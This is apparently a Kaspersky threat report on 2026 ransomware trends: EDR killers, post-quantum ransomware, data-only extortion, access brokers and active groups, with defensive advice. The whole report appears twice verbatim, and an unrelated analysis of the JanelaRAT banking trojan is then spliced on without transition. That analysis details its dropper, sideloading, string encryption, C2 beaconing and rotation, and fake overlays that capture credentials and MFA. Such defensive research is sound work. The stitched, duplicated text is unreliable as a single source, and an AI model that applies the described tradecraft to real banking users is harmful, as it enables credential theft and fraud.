With International Anti-Ransomware Day taking place on May 12, Kaspersky presents its annual report on the evolving global and regional ransomware cyberthreat landscape.

Ransomware remains one of the most persistent and adaptive cyberthreats. In 2026:

• New families continue to emerge, adopting post-quantum cryptography ciphers.
• As ransom payments drop, some groups implement encryptionless extortion attacks.
• In a constantly changing ecosystem of threat actors, initial access brokers maintain a relevant role in this market, showing increased focus on access to RDWeb as the preferred method of remote access.

Ransomware attacks decline but remain a major threat

According to Kaspersky Security Network, the share of organizations affected by ransomware decreased in 2025 across all regions compared to 2024.

Percentage of organizations affected by ransomware attacks by region, 2025 (download)

Despite the formal decrease, organizations across all sectors continue to face a high likelihood of attack, as ransomware operators refine their tactics and scale their operations with increasing efficiency. Kaspersky and VDC Research have found that in the manufacturing sector alone, ransomware attacks may have caused over $18 billion in losses in the first three quarters of the year.

The continued rise of EDR killers and defense evasion tooling

In 2026, ransomware operators increasingly prioritize neutralizing endpoint defenses before executing their payloads. Tools commonly referred to as “EDR killers” have become a standard component of attack playbooks. This reflects a continuing trend toward more deliberate and methodical intrusions.

Attackers attempt to terminate security processes and disable monitoring agents, often by exploiting trusted components such as signed drivers. This technique is called Bring Your Own Vulnerable Driver (BYOVD) and allows adversaries to blend into legitimate system activity while gradually degrading defensive visibility.

Thus, evasion is no longer an opportunistic step but a planned and repeatable phase of the attack lifecycle. As a result, organizations are increasingly challenged not just to detect ransomware but also to maintain control in environments where security controls themselves are actively targeted.

The appearance of new families adopting post-quantum cryptography

We predicted that quantum-resistant ransomware would appear in 2025. Looking back at the previous year, we see that advanced ransomware groups indeed started using post-quantum cryptography as quantum computing evolved. The encryption techniques used by this quantum-proof ransomware could be used to resist decryption attempts from both classical and quantum computers, making it nearly impossible for victims to decrypt their data without having to pay a ransom.

One example is the appearance of the PE32 ransomware family (link in Russian); it leverages the cutting-edge ML-KEM (Module-Lattice-Based Key-Encapsulation Mechanism) standard to secure its AES keys. This specific cryptographic framework was recently selected by NIST as the primary standard for post-quantum defense.

Within the PE32 ransomware architecture, this is realized through the Kyber1024 algorithm, a robust mechanism providing Level 5 security, roughly equivalent in strength to AES-256. Its primary function is the secure generation and transmission of shared secrets between parties, specifically engineered to withstand future quantum computing attacks. This shift toward post-quantum readiness is part of a broader industry trend; for instance, TLS 1.3 and QUIC protocols have already adopted the X25519Kyber768 hybrid model, which fuses classical encryption with quantum-resistant security.

The shift to encryptionless extortion

In 2025, the share of ransoms paid dropped to 28%. As a response to this, one of the developments in the 2026 landscape is the growing prevalence of extortion incidents in which no file encryption takes place at all. Instead, attackers leave out the “ware” in “ransomware” and focus on extracting sensitive data and leveraging the threat of public disclosure as their primary means of extortion. ShinyHunters is an excellent example of such a group, using a data leak site to publicize its victims.

By avoiding encryption, attackers may aim at reducing the likelihood of immediate detection, shortening the duration of the attack, and eliminating dependencies on stable encryption routines. Often, this model is used alongside traditional tactics in so-called double extortion schemes, but an increasing number of campaigns rely exclusively on data theft.

For victims, this shift fundamentally changes the nature of the risk. While backups remain effective against encryption-based disruption, they provide no protection against data exposure, regulatory consequences, and reputational damage. Ransomware is therefore evolving from a business continuity issue into a broader data security and compliance challenge.

Industrialization of initial access (Access-as-a-Service)

The ransomware ecosystem continues to evolve toward a highly industrialized and specialized model, with initial access remaining as one of its most critical components. In 2026, many ransomware operators keep relying on IABs (initial access brokers), a network of intermediaries who supply pre-compromised access to corporate environments, aiming to no longer perform full intrusions themselves.

This “access-as-a-service” model is fueled by credential theft operations, and the widespread availability of compromised accounts harvested through infostealers and phishing campaigns.

The primary access vectors offered for sale have not changed: RDP, VPN, and RDWeb are still the top access vectors. Consequently, remote access infrastructure remains the primary attack surface for initial access sales. In response to the measures against public exposure of RDP access points to the internet, attackers are now targeting RDWeb portals, which are frequently vulnerable and occasionally inadequately safeguarded.

The result is a threat landscape where unauthorized access is increasingly commoditized, and the barrier to launching ransomware attacks declines. This means that preventing initial compromise is only part of the challenge; equal emphasis must be placed on detecting misuse of legitimate credentials and limiting lateral movement within already-breached environments.

Ransomware developments on the dark web

Telegram channels and underground forums increasingly function as platforms for the distribution and sale of compromised datasets and access credentials including those that were obtained as a result of ransomware attacks.

Advertisements posted on these resources typically include the nature of the access, a description of the exfiltrated or compromised data, price terms, and contact information for prospective buyers. In addition, some malicious actors mention their collaboration with other ransomware groups. Lesser-known gangs can use this name-dropping to promote themselves

Multiple threat actors not related to ransomware groups distribute datasets downloaded from ransomware blogs on underground forums and Telegram. By re-publishing download links and files, they spread compromised data as well as information on the ransomware attack within the community.

The ransomware itself is also sold or offered for subscription on the dark web platforms. The sellers underscore the uniqueness of their malware, as well as its encryption and defense evasion features.

Law enforcement actions

Law enforcement agencies are actively shutting down dark web platforms and ransomware data leak sites. A major underground forum, RAMP, which also functioned as a platform for threat actors to advertise their ransomware services and publish service‑related updates, was seized by authorities in January 2026. Another underground forum, LeakBase, where malicious actors distributed exfiltrated and compromised data, was seized in March 2026. In 2025, law enforcement agencies seized well-known forums like Nulled, Cracked, and XSS. Also in 2025, the DLSs of BlackSuit and 8Base ransomware groups were seized. These takedowns cause inconvenience to ransomware coordination, specifically for initial access brokers and affiliates, though similar forums are expected to fill the void over time.

Top ransomware groups in 2025

RansomHub’s sudden dormancy in 2025 marked a shift, and Qilin became the dominant player from Q2 onward. According to Kaspersky research, Qilin was the most active group executing targeted attacks in 2025.

Each group’s share of victims according to its data leak site (DLS) as a percentage of all reported victims of all groups during the period under review (download)

Qilin stands out as one of the fastest-growig and dominant RaaS platforms. Its combination of high-volume operations and structured affiliate model positions it as a central player in the current ecosystem.

Clop, the second most active group in 2025, is distinguished through its large-scale, supply-chain-style attacks, exploiting widely used file transfer and enterprise software to compromise hundreds of victims simultaneously. This one-to-many approach sets it apart from more traditional, single-target campaigns.

Third place is occupied by Akira, which remains notable for its consistency and operational stability, maintaining a steady stream of victims without major disruption. Its ability to sustain activity over time makes it one of the most reliable indicators of baseline ransomware threat levels.

Although no longer active, RansomHub stands out for its rapid rise and equally rapid disappearance in 2025, highlighting the volatility of the RaaS market. Its shutdown created a vacuum that significantly reshaped affiliate distribution across other groups.

DragonForce is also notable – not just for its own operations, but for its broader influence within the ransomware ecosystem, including reported involvement in infrastructure conflicts and possible links to the disruption of competing groups. Thus, the group claims that RansomHub “has moved to their infrastructure.” This positions it as more than just an operator and potentially an ecosystem-level actor.

New actors in 2026

While emerging actors generally operate on a smaller scale, they provide insight into the continuous churn and low barrier to entry within the ransomware ecosystem.

The Gentlemen group caught our attention in early 2026, as they managed to attack a significant number of victims over a short time. This actor is also notable for reflecting a broader shift toward professionalization and controlled operations within the ransomware ecosystem. Unlike many emerging groups that rely on opportunistic attacks and inconsistent leak activity, The Gentlemen demonstrate a more deliberate approach: structured intrusion workflows, selective targeting, and measured communication with victims. This signals a move away from chaotic, high-noise campaigns toward predictable, business-like execution models that are easier to scale and harder to disrupt. Their TTPs include the massive exploitation of hardware very common on big corporations, such as FortiOS/FortiProxy, SonicWall VPN, and Cisco ASA appliances. The group might be comprised of professional cybercriminals who left other prominent groups.

The group is also notable for its emphasis on data-centric extortion strategies, often prioritizing exfiltration and leverage over purely disruptive encryption. This aligns with one of the defining trends of 2026: ransomware evolving into a form of data breach monetization rather than just system denial. By focusing on controlled pressure and reputational risk instead of immediate operational damage, The Gentlemen exemplify how attackers are adapting to lower ransom payment rates and improved backup practices among victims.
Some other groups to take note of in 2026:

• Devman appears to be an emerging actor with limited but growing activity, likely leveraging existing tooling rather than developing custom capabilities.
• MintEye hasn’t been very active yet, with just five known victims, suggesting opportunistic campaigns without a consistent operational tempo.
• DireWolf is associated with small-scale, targeted attacks, though its overall footprint remains relatively limited compared to larger RaaS groups.
• NightSpire demonstrates characteristics of an amateur group, such as mistakes during its operations, uncommon communication channels with the victims, and sometimes giving them insufficient time to pay up. Although they both encrypt and leak data, they prioritize publication rather than encryption.
• Vect shows low-volume activity. It is yet unclear whether they use a completely new codebase or are rather a rebrand of an existing group.
• Tengu is a less prominent actor, with limited public reporting and no clear distinguishing tactics beyond standard extortion models.
• Kazu appears to be created by ransomware operators previously engaged with multiple other groups. As of now, they don’t stand out for scale or technique.

Although there is little to say about these groups at the time of writing this report, each of them may be equally likely to disappear from the threat landscape or grow into a prominent threat. That’s why it’s important to track them from their early days. Moreover, collectively, these groups illustrate how dynamic the ransomware landscape is, with new entrants constantly replenishing it.

Conclusion and protection recommendations

Despite the growing effort by law enforcement agencies across the globe to seize and disrupt dark web platforms and threat actor infrastructures, ransomware operations remain stable, with new groups quickly taking the place of those who went silent. In 2026, we see a shift towards encryptionless extortion, with data leaks increasingly becoming the main threat to target organizations. At the same time, data encryption is also upgrading to the next level with the emergence of post-quantum ransomware.

To resist the evolving threat, Kaspersky recommends organizations:

Prioritize proactive prevention through patching and vulnerability management. Many ransomware attacks exploit unpatched systems, so organizations should implement automated patch management tools to ensure timely updates for operating systems, software, and drivers. For Windows environments, enabling Microsoft’s Vulnerable Driver Blocklist is critical to thwarting BYOVD attacks. Regularly scan for vulnerabilities and prioritize high-severity flaws, especially in widely used software.

Strengthen remote access: RDP and RDWeb connections should never be directly exposed to the internet, only through VPN or ZTNA (Zero Trust Network Access). It’s highly recommended to adopt multi-factor authentication on everything; the architecture may require continuous authentication for access, as one valid credential captured is enough to cause a breach. Monitoring the underground for stolen employee credentials is essential. Audit open ports across the entire attack surface. The adoption of the “Principle of Least Privilege” (PoLP), where users, systems, or processes are granted only the minimum access rights, such as read, write, or execute permissions, necessary to perform their specific job functions, is highly recommended.

Strengthen endpoint and network security with advanced detection and segmentation. Deploy robust endpoint detection and response solutions such as Kaspersky NEXT EDR to monitor for suspicious activity like driver loading or process termination. Network segmentation is equally important. Limit lateral movement by isolating critical systems and using firewalls to restrict traffic. Complete and immediate offboarding for employees is necessary as well as periodic permission reviews, with automatic revocation of unused access. Sessions with complete logging for privileged accounts are more than necessary. Monitoring the traffic divergence to new sites or even to legitimate endpoints can help the defenders to spot a new insider threat.

Invest in backups, training, and incident response planning. Maintain offline or immutable backups that are tested regularly to ensure rapid recovery without paying a ransom. Backups should cover critical data and systems and be stored in air-gapped environments to resist encryption or deletion. User education is essential to combatting phishing, which remains one of the top attack vectors. Conduct simulated phishing exercises and train employees to recognize AI-crafted emails. Kaspersky Global Emergency Response Team (GERT) can help develop and test an incident response plan to minimize potential downtime and costs.

The recommendation to avoid paying a ransom remains robust, especially given the risk of unavailable keys due to dismantled infrastructure, affiliate chaos, or malicious intent. By investing in backups, incident response, and preventive measures like patching and training, organizations can avoid funding criminals and mitigate the impact.

Kaspersky also offers free decryptors for certain ransomware families. If you get hit by ransomware, check to see if there’s a decryptor available for the ransomware family used against you.

With International Anti-Ransomware Day taking place on May 12, Kaspersky presents its annual report on the evolving global and regional ransomware cyberthreat landscape.

Ransomware remains one of the most persistent and adaptive cyberthreats. In 2026:

• New families continue to emerge, adopting post-quantum cryptography ciphers.
• As ransom payments drop, some groups implement encryptionless extortion attacks.
• In a constantly changing ecosystem of threat actors, initial access brokers maintain a relevant role in this market, showing increased focus on access to RDWeb as the preferred method of remote access.

Ransomware attacks decline but remain a major threat

According to Kaspersky Security Network, the share of organizations affected by ransomware decreased in 2025 across all regions compared to 2024.

Percentage of organizations affected by ransomware attacks by region, 2025 (download)

Despite the formal decrease, organizations across all sectors continue to face a high likelihood of attack, as ransomware operators refine their tactics and scale their operations with increasing efficiency. Kaspersky and VDC Research have found that in the manufacturing sector alone, ransomware attacks may have caused over $18 billion in losses in the first three quarters of the year.

The continued rise of EDR killers and defense evasion tooling

In 2026, ransomware operators increasingly prioritize neutralizing endpoint defenses before executing their payloads. Tools commonly referred to as “EDR killers” have become a standard component of attack playbooks. This reflects a continuing trend toward more deliberate and methodical intrusions.

Attackers attempt to terminate security processes and disable monitoring agents, often by exploiting trusted components such as signed drivers. This technique is called Bring Your Own Vulnerable Driver (BYOVD) and allows adversaries to blend into legitimate system activity while gradually degrading defensive visibility.

Thus, evasion is no longer an opportunistic step but a planned and repeatable phase of the attack lifecycle. As a result, organizations are increasingly challenged not just to detect ransomware but also to maintain control in environments where security controls themselves are actively targeted.

The appearance of new families adopting post-quantum cryptography

We predicted that quantum-resistant ransomware would appear in 2025. Looking back at the previous year, we see that advanced ransomware groups indeed started using post-quantum cryptography as quantum computing evolved. The encryption techniques used by this quantum-proof ransomware could be used to resist decryption attempts from both classical and quantum computers, making it nearly impossible for victims to decrypt their data without having to pay a ransom.

One example is the appearance of the PE32 ransomware family (link in Russian); it leverages the cutting-edge ML-KEM (Module-Lattice-Based Key-Encapsulation Mechanism) standard to secure its AES keys. This specific cryptographic framework was recently selected by NIST as the primary standard for post-quantum defense.

Within the PE32 ransomware architecture, this is realized through the Kyber1024 algorithm, a robust mechanism providing Level 5 security, roughly equivalent in strength to AES-256. Its primary function is the secure generation and transmission of shared secrets between parties, specifically engineered to withstand future quantum computing attacks. This shift toward post-quantum readiness is part of a broader industry trend; for instance, TLS 1.3 and QUIC protocols have already adopted the X25519Kyber768 hybrid model, which fuses classical encryption with quantum-resistant security.

The shift to encryptionless extortion

In 2025, the share of ransoms paid dropped to 28%. As a response to this, one of the developments in the 2026 landscape is the growing prevalence of extortion incidents in which no file encryption takes place at all. Instead, attackers leave out the “ware” in “ransomware” and focus on extracting sensitive data and leveraging the threat of public disclosure as their primary means of extortion. ShinyHunters is an excellent example of such a group, using a data leak site to publicize its victims.

By avoiding encryption, attackers may aim at reducing the likelihood of immediate detection, shortening the duration of the attack, and eliminating dependencies on stable encryption routines. Often, this model is used alongside traditional tactics in so-called double extortion schemes, but an increasing number of campaigns rely exclusively on data theft.

For victims, this shift fundamentally changes the nature of the risk. While backups remain effective against encryption-based disruption, they provide no protection against data exposure, regulatory consequences, and reputational damage. Ransomware is therefore evolving from a business continuity issue into a broader data security and compliance challenge.

Industrialization of initial access (Access-as-a-Service)

The ransomware ecosystem continues to evolve toward a highly industrialized and specialized model, with initial access remaining as one of its most critical components. In 2026, many ransomware operators keep relying on IABs (initial access brokers), a network of intermediaries who supply pre-compromised access to corporate environments, aiming to no longer perform full intrusions themselves.

This “access-as-a-service” model is fueled by credential theft operations, and the widespread availability of compromised accounts harvested through infostealers and phishing campaigns.

The primary access vectors offered for sale have not changed: RDP, VPN, and RDWeb are still the top access vectors. Consequently, remote access infrastructure remains the primary attack surface for initial access sales. In response to the measures against public exposure of RDP access points to the internet, attackers are now targeting RDWeb portals, which are frequently vulnerable and occasionally inadequately safeguarded.

The result is a threat landscape where unauthorized access is increasingly commoditized, and the barrier to launching ransomware attacks declines. This means that preventing initial compromise is only part of the challenge; equal emphasis must be placed on detecting misuse of legitimate credentials and limiting lateral movement within already-breached environments.

Ransomware developments on the dark web

Telegram channels and underground forums increasingly function as platforms for the distribution and sale of compromised datasets and access credentials including those that were obtained as a result of ransomware attacks.

Advertisements posted on these resources typically include the nature of the access, a description of the exfiltrated or compromised data, price terms, and contact information for prospective buyers. In addition, some malicious actors mention their collaboration with other ransomware groups. Lesser-known gangs can use this name-dropping to promote themselves

Multiple threat actors not related to ransomware groups distribute datasets downloaded from ransomware blogs on underground forums and Telegram. By re-publishing download links and files, they spread compromised data as well as information on the ransomware attack within the community.

The ransomware itself is also sold or offered for subscription on the dark web platforms. The sellers underscore the uniqueness of their malware, as well as its encryption and defense evasion features.

Law enforcement actions

Law enforcement agencies are actively shutting down dark web platforms and ransomware data leak sites. A major underground forum, RAMP, which also functioned as a platform for threat actors to advertise their ransomware services and publish service‑related updates, was seized by authorities in January 2026. Another underground forum, LeakBase, where malicious actors distributed exfiltrated and compromised data, was seized in March 2026. In 2025, law enforcement agencies seized well-known forums like Nulled, Cracked, and XSS. Also in 2025, the DLSs of BlackSuit and 8Base ransomware groups were seized. These takedowns cause inconvenience to ransomware coordination, specifically for initial access brokers and affiliates, though similar forums are expected to fill the void over time.

Top ransomware groups in 2025

RansomHub’s sudden dormancy in 2025 marked a shift, and Qilin became the dominant player from Q2 onward. According to Kaspersky research, Qilin was the most active group executing targeted attacks in 2025.

Each group’s share of victims according to its data leak site (DLS) as a percentage of all reported victims of all groups during the period under review (download)

Qilin stands out as one of the fastest-growig and dominant RaaS platforms. Its combination of high-volume operations and structured affiliate model positions it as a central player in the current ecosystem.

Clop, the second most active group in 2025, is distinguished through its large-scale, supply-chain-style attacks, exploiting widely used file transfer and enterprise software to compromise hundreds of victims simultaneously. This one-to-many approach sets it apart from more traditional, single-target campaigns.

Third place is occupied by Akira, which remains notable for its consistency and operational stability, maintaining a steady stream of victims without major disruption. Its ability to sustain activity over time makes it one of the most reliable indicators of baseline ransomware threat levels.

Although no longer active, RansomHub stands out for its rapid rise and equally rapid disappearance in 2025, highlighting the volatility of the RaaS market. Its shutdown created a vacuum that significantly reshaped affiliate distribution across other groups.

DragonForce is also notable – not just for its own operations, but for its broader influence within the ransomware ecosystem, including reported involvement in infrastructure conflicts and possible links to the disruption of competing groups. Thus, the group claims that RansomHub “has moved to their infrastructure.” This positions it as more than just an operator and potentially an ecosystem-level actor.

New actors in 2026

While emerging actors generally operate on a smaller scale, they provide insight into the continuous churn and low barrier to entry within the ransomware ecosystem.

The Gentlemen group caught our attention in early 2026, as they managed to attack a significant number of victims over a short time. This actor is also notable for reflecting a broader shift toward professionalization and controlled operations within the ransomware ecosystem. Unlike many emerging groups that rely on opportunistic attacks and inconsistent leak activity, The Gentlemen demonstrate a more deliberate approach: structured intrusion workflows, selective targeting, and measured communication with victims. This signals a move away from chaotic, high-noise campaigns toward predictable, business-like execution models that are easier to scale and harder to disrupt. Their TTPs include the massive exploitation of hardware very common on big corporations, such as FortiOS/FortiProxy, SonicWall VPN, and Cisco ASA appliances. The group might be comprised of professional cybercriminals who left other prominent groups.

The group is also notable for its emphasis on data-centric extortion strategies, often prioritizing exfiltration and leverage over purely disruptive encryption. This aligns with one of the defining trends of 2026: ransomware evolving into a form of data breach monetization rather than just system denial. By focusing on controlled pressure and reputational risk instead of immediate operational damage, The Gentlemen exemplify how attackers are adapting to lower ransom payment rates and improved backup practices among victims.
Some other groups to take note of in 2026:

• Devman appears to be an emerging actor with limited but growing activity, likely leveraging existing tooling rather than developing custom capabilities.
• MintEye hasn’t been very active yet, with just five known victims, suggesting opportunistic campaigns without a consistent operational tempo.
• DireWolf is associated with small-scale, targeted attacks, though its overall footprint remains relatively limited compared to larger RaaS groups.
• NightSpire demonstrates characteristics of an amateur group, such as mistakes during its operations, uncommon communication channels with the victims, and sometimes giving them insufficient time to pay up. Although they both encrypt and leak data, they prioritize publication rather than encryption.
• Vect shows low-volume activity. It is yet unclear whether they use a completely new codebase or are rather a rebrand of an existing group.
• Tengu is a less prominent actor, with limited public reporting and no clear distinguishing tactics beyond standard extortion models.
• Kazu appears to be created by ransomware operators previously engaged with multiple other groups. As of now, they don’t stand out for scale or technique.

Although there is little to say about these groups at the time of writing this report, each of them may be equally likely to disappear from the threat landscape or grow into a prominent threat. That’s why it’s important to track them from their early days. Moreover, collectively, these groups illustrate how dynamic the ransomware landscape is, with new entrants constantly replenishing it.

Conclusion and protection recommendations

Despite the growing effort by law enforcement agencies across the globe to seize and disrupt dark web platforms and threat actor infrastructures, ransomware operations remain stable, with new groups quickly taking the place of those who went silent. In 2026, we see a shift towards encryptionless extortion, with data leaks increasingly becoming the main threat to target organizations. At the same time, data encryption is also upgrading to the next level with the emergence of post-quantum ransomware.

To resist the evolving threat, Kaspersky recommends organizations:

Prioritize proactive prevention through patching and vulnerability management. Many ransomware attacks exploit unpatched systems, so organizations should implement automated patch management tools to ensure timely updates for operating systems, software, and drivers. For Windows environments, enabling Microsoft’s Vulnerable Driver Blocklist is critical to thwarting BYOVD attacks. Regularly scan for vulnerabilities and prioritize high-severity flaws, especially in widely used software.

Strengthen remote access: RDP and RDWeb connections should never be directly exposed to the internet, only through VPN or ZTNA (Zero Trust Network Access). It’s highly recommended to adopt multi-factor authentication on everything; the architecture may require continuous authentication for access, as one valid credential captured is enough to cause a breach. Monitoring the underground for stolen employee credentials is essential. Audit open ports across the entire attack surface. The adoption of the “Principle of Least Privilege” (PoLP), where users, systems, or processes are granted only the minimum access rights, such as read, write, or execute permissions, necessary to perform their specific job functions, is highly recommended.

Strengthen endpoint and network security with advanced detection and segmentation. Deploy robust endpoint detection and response solutions such as Kaspersky NEXT EDR to monitor for suspicious activity like driver loading or process termination. Network segmentation is equally important. Limit lateral movement by isolating critical systems and using firewalls to restrict traffic. Complete and immediate offboarding for employees is necessary as well as periodic permission reviews, with automatic revocation of unused access. Sessions with complete logging for privileged accounts are more than necessary. Monitoring the traffic divergence to new sites or even to legitimate endpoints can help the defenders to spot a new insider threat.

Invest in backups, training, and incident response planning. Maintain offline or immutable backups that are tested regularly to ensure rapid recovery without paying a ransom. Backups should cover critical data and systems and be stored in air-gapped environments to resist encryption or deletion. User education is essential to combatting phishing, which remains one of the top attack vectors. Conduct simulated phishing exercises and train employees to recognize AI-crafted emails. Kaspersky Global Emergency Response Team (GERT) can help develop and test an incident response plan to minimize potential downtime and costs.

The recommendation to avoid paying a ransom remains robust, especially given the risk of unavailable keys due to dismantled infrastructure, affiliate chaos, or malicious intent. By investing in backups, incident response, and preventive measures like patching and training, organizations can avoid funding criminals and mitigate the impact.

Kaspersky also offers free decryptors for certain ransomware families. If you get hit by ransomware, check to see if there’s a decryptor available for the ransomware family used against you.

Background

JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.

JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.

The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.

Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.

Initial infection

JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.

Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.

However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.

Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.

Initial dropper

The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.

Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.

The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.

Malicious implant

In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.

JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.

The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.

String encryption

All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.

C2 communication and command handling

After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.

Following socket initialization, the malware launches two background routines:

1. User inactivity and session tracking
   This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
   

   Timer that looks for 10 minutes of inactivity

2. Victim registration and further malicious activity
   This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
   1. The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.

      This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:

      <C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>

      We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.

      Parameter	Description
      VS	JanelaRAT version
      PL	OFF by default
      AN	Yes or No depending on whether banking security software process exists

   2. The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.

      This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.

      If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.

      To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.

      Action Performed	Description
      Capture desktop image	Send compressed screenshots to the C2
      Specific screenshots	Crop specific screen regions and exfiltrate images
      Overlay windows	Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
      Keylogging	Keystroke capture
      Simulate keyboard	Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
      Track mouse input	Move the cursor, simulate clicks, and report the cursor position
      Display message	Show message boxes (custom title, text, buttons, or icons)
      System shutdown	Execute a forced shutdown sequence
      Command execution	Run CMD or PowerShell scripts/commands
      Task Manager manipulation	Launch Task Manager, find its window, and hide it to prevent discovery by the user
      Check for banking security software process	Detect the presence of anti-fraud systems
      Beaconing	Send host information (malware version, profile, presence of banking software)
      Toggle internal modes	Enable and disable modes such as screenshot flow, key injection, or overlay visibility
      Anti-analysis	Detect sandbox or automation tools

C2 infrastructure

Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.

Decoy overlay system

This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.

The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.

Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:

• “Configuring Windows updates, please wait.”
• “Do not turn off your computer; this could take some time.”

When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.

An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.

Anti-analysis techniques

In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.

Persistence

The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.

